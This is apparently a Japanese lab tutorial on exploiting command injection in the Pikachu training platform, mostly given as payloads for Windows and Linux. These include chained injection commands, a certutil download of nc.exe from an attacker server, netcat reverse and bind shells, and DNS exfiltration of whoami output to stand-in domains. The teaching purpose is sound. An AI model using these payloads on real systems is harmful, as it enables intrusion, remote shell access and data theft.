Pikachuは、Webアプリケーションの一般的な脆弱性を学ぶための有名な演習プラットフォームです。中でもリモートコード実行(RCE)の脆弱性は、攻撃者がサーバー上で任意のコマンドを実行できるため、非常に危険であり、学習において重要なトピックとなります。本記事では、Pikachu環境を題材に、WindowsおよびLinuxサーバーにおけるRCE脆弱性の悪用方法と、実践的なペイロードについて解説します。
WindowsサーバーにおけるRCE
Windows環境のWebサーバーでRCEが発生した場合、コマンドプロンプトの機能を利用して様々な操作が可能です。特に、コマンド連結演算子を理解することが重要です。
コマンド実行ペイロード
コマンドインジェクションポイントにおいて、以下の演算子を使用して追加のコマンドを実行できます。IPアドレスの後ろにこれらの演算子と実行したいコマンドを記述します。
&&: 左側のコマンドが成功した場合にのみ右側のコマンドを実行します。&: 左側のコマンドの成否にかかわらず、右側のコマンドを実行します。|: 左側のコマンドの出力を右側のコマンドの入力として渡します(パイプ)。||: 左側のコマンドが失敗した場合にのみ右側のコマンドを実行します。
ping 127.0.0.1 && whoami
ping 127.0.0.1 & systeminfo
ipconfig /all | findstr IPv4
false || echo "前回のコマンドが失敗しましたが、これは実行されます。"
Netcat (nc.exe) を利用したシェル取得
サーバーに直接シェルを確立するために、Netcat (nc.exe) などのツールをダウンロードして実行することが一般的です。Windowsのcertutil.exeは、ファイルのダウンロードによく利用されます。
ping 127.0.0.1 & certutil.exe -urlcache -split -f http://[攻撃者サーバーIP]:8080/nc.exe C:\Windows\Temp\nc.exe
上記コマンドは、攻撃者のWebサーバーからnc.exeをダウンロードし、C:\Windows\Temp\ディレクトリに保存します。
リバースシェル(攻撃者がリッスン、標的が接続)
nc.exeをダウンロードした後、ターゲットサーバーから攻撃者のマシンへ接続させ、シェルを取得します。攻撃者は特定のポートで接続を待ち受けます。
標的サーバーで実行:
ping 127.0.0.1 & C:\Windows\Temp\nc.exe -e cmd.exe [攻撃者サーバーIP] 4444
攻撃者マシンで実行:
nc -lvnp 4444
バインドシェル(標的がリッスン、攻撃者が接続)
ターゲットサーバー上でnc.exeをリッスンモードで起動し、攻撃者がそのポートに接続してシェルを取得する方法です。
標的サーバーで実行:
ping 127.0.0.1 & C:\Windows\Temp\nc.exe -lvp 5555 -e cmd.exe
攻撃者マシンで実行:
nc [標的サーバーIP] 5555
DNS外出し(Blind RCEの解決策)
コマンドの実行結果がWebページに表示されない「ブラインドRCE」の場合、DNSリクエストを利用して情報を外部に送ることができます。Powershellを使ってシステム情報をDNSクエリに含め、攻撃者が制御するDNSサーバーにリクエストを送信します。
powershell $userInfo = whoami;$sanitizedInfo = $userInfo.Replace('\', '-');$exfilDomain = ".exfil.example.com";$dnsQuery = $sanitizedInfo + $exfilDomain;ping $dnsQuery -n 1
このペイロードでは、whoamiの出力を取得し、バックスラッシュをハイフンに置換してから、特定のドメインと連結してpingコマンドを実行します。攻撃者はexfil.example.comのDNSログを監視することで、whoamiの結果を確認できます。
LinuxサーバーにおけるRCE
Linux環境でもWindowsと同様に、コマンドインジェクションを通じて様々な操作が可能です。シェル(例: Bash)のコマンド連結演算子が重要になります。
コマンド実行ペイロード
Linuxシェルでは、以下の演算子や記法でコマンドを連結できます。
&&: 左側のコマンドが成功した場合にのみ右側のコマンドを実行します。&: 左側のコマンドの成否にかかわらず、右側のコマンドをバックグラウンドで実行します。|: 左側のコマンドの出力を右側のコマンドの入力として渡します。;: 左側のコマンドの成否にかかわらず、右側のコマンドを順番に実行します。||: 左側のコマンドが失敗した場合にのみ右側のコマンドを実行します。`command`または$(command): コマンドの出力を別のコマンドの引数として使用します。
ping 127.0.0.1 && ls -la /
ping 127.0.0.1 & id
cat /etc/passwd | head -n 3
sleep 2; whoami
false || echo "前のコマンドが失敗しても、これは実行される。"
echo $(hostname)
DNS外出し(Blind RCEの解決策)
Linux環境のブラインドRCEでも、DNSクエリを利用した情報外出しが有効です。whoamiの結果をDNSクエリに含めて送信します。
ping -c 1 "$(whoami | tr -d '\n').exfil-data.net"
この例では、whoamiの出力から改行文字を削除し、それをexfil-data.netのサブドメインとしてpingします。攻撃者はこのドメインのDNSログを解析することで情報を取得します。
Netcatを利用したシェル取得
Linux環境でもNetcatは同様に強力なシェル取得ツールです。通常、ncコマンドはデフォルトでインストールされているか、簡単にインストールできます。
リバースシェル(攻撃者がリッスン、標的が接続)
ターゲットサーバーから攻撃者のマシンへ接続を確立させ、シェルを取得します。
標的サーバーで実行:
ping 127.0.0.1 & nc -e /bin/bash [攻撃者サーバーIP] 4444
攻撃者マシンで実行:
nc -lvnp 4444
バインドシェル(標的がリッスン、攻撃者が接続)
ターゲットサーバー上でncをリッスンモードで起動し、攻撃者が接続してシェルを取得します。
標的サーバーで実行:
ping 127.0.0.1 & nc -lvp 5555 -e /bin/bash
攻撃者マシンで実行:
nc [標的サーバーIP] 5555